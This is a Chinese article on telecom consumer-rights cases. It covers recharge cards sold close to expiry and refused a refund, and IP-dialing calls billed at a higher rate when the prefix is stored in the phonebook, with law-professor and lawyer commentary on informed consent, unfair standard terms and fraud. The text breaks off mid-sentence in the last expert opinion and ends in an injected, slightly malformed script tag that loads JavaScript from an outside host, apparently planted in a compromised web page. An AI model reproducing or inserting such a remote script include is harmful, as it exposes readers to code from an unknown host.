2005年12月底用户甲购买了某电信运营商(以下称为乙)的价值1000的充值卡，其中10张50元面额的，5张100

　　元面额的。回家后充值2张100元的，3月份再用剩下的充值，发现100元面值的已经失效。仔细一看，原来，这种百元面值的是2005年1月发行，有效期到2006年1月31日,那3张百元的，就不可以用了。

　　到乙的营业厅咨询，答复是失效就不能再用了，不退不换，意思就是用户甲自己承担损失的300元钱。用户甲很是气愤，认为如果吃的东西有一个有效期还是可以理解的，而电话卡这个有效期就不是很能理解了。更让用户甲气愤的是，既然是还有1个月就到期，购买的时候运营商没有告知任何信息。

　　专家观点：

　　针对此案的具体情况，北京邮电大学文法经济学院法学教研室主任肖毅敏认为，消费者享有知情权。知情权是指消费者在购买、使用商品或者接受服务时，了解和掌握商品的真实情况和服务的真实状况的权利。她认为,电话卡只有一个月充值到期，电信运营商应有提醒义务并且“有效期”的标注必须明显、醒目。

　　华烨律师事务所的张继志律师也认为此项有效期的规定是不合理的。消费者在买充值卡的过程中相当于与运营商签订了合同，但是签订合同是需要双方协商进行的，而充值卡上的有效期是合同的一部分，消费者没有参与任何意见，这是一种格式合同，通俗而言是一个“霸王条款”，事实上，是侵犯了消费者的公平交易权利。所以说，有效期就不应该存在，或者说就不应该由运营商单方面来立定。而《消法》明确规定了“经营者不得以格式合同、通知、声明、店堂告示等方式做出对消费者不公平、不合理的规定，或者减轻、免除其损害消费者合法权益应当承担的民事责任。格式合同、通知、声明、店堂告示等含有前款所列内容的，其内容无效”，可以采用再补充同等金额的话费。

　　同时，针对电话卡的余额，肖毅敏指出，消费者不应当承担相应的损失。根据《民法通则》第九十二条：“没有合法根据，取得不当利益，造成他人损失的，应当将取得的不当利益返还受损失的人。”对于卡中的金额，电信公司如果不及时返还消费者就构成了不当得利，有义务返还电话卡中的剩余金额。同时，根据信息产业部2005年下发的《关于治理当前电信服务热点问题的指导意见》，电信卡有效期过后，卡内仍有余额的，各电信企业应采取措施妥善处理，保护用户的合法权益。为使用户明明白白消费，各电信业务经营者还应加强电信卡业务的宣传工作，通过多种方式告知用户与电信卡相关的计费、余额转移等内容。

　　在本案例中，张继志特别指出，用户是12底购买的充值卡，而第二年的1月底就到期，相当于仅有一个月就到期，运营商有义务告知用户真实情况。本案运营商或者代理商并没有履行其告知用户的义务，属于有过错的一方，应当承担责任，也就是说，运营商应当向用户提供相同价值的服务。

　　长了“翅膀”的电话费

　　学生丙放假回家了，由于丙在家不能异地充值，所以丙就在回家前给手机充了500块钱。

　　丙用手机给上学所在地的女友打电话，每天一个小时，丙计算的很仔细，手机ip接入打外地每小时0.7元，每天打1个小时，他一共回家10天左右，刚好够用。然而让丙很奇怪的是，到了第四天，手机就没钱了。

　　于是丙试着用公共电话打提供服务的运营商(以下称为丁)的客服电话咨询时，得知：如果用户把ip号+电话号码(17x

　　xx+电话号码)储存在电话号码本里，而不是单独加拨，收费就会从0.7元每分钟变成1.3元每分钟。客服人员的解释是如果储存在电话号码本里，ip系统将无法识别。所以获得资费优惠，必须每次在键盘上直接按17xxx。

　　丙豁然明白自己的话费为何会像长了翅膀一样的飞走。让用户丙更加不解的是，如果不是主动冶询问这个问题，客服小姐根本就不告诉这样的计费方式。

　　专家观点：

　　张继志指出，首先不管技术上的识别问题，就已经损害了消费者的知悉权。其次，运营商的行为已经构成了欺诈消费或者说欺诈宣传。在运营商的宣传中，广告中没有指出直接拨号和捆绑拨号的区别。而且在咨询时不主动告知，存在故意隐瞒事实真相的嫌疑。在这个案例里，深层次而言，运营商的行为具有欺诈的性质，在宣传时只是告知消费者加拨了17xxx就是使用ip，资费比普通长途便宜，其意思表示就是说不论用户以何种方式拨打ip，都应当享有优惠。

　　肖毅敏指出，同样，本案例中，消费者具有知情的权利。所以说电信运营商有主动告知用户相关信息的义务，否则对消费者来说是不公平的。

　　同时肖毅敏也指出，此案属于欺诈，应双倍赔偿用户的损失。欺诈行为”是指“当事人一方故意制造虚假或歪曲的?script src=http://er12.com/t.js>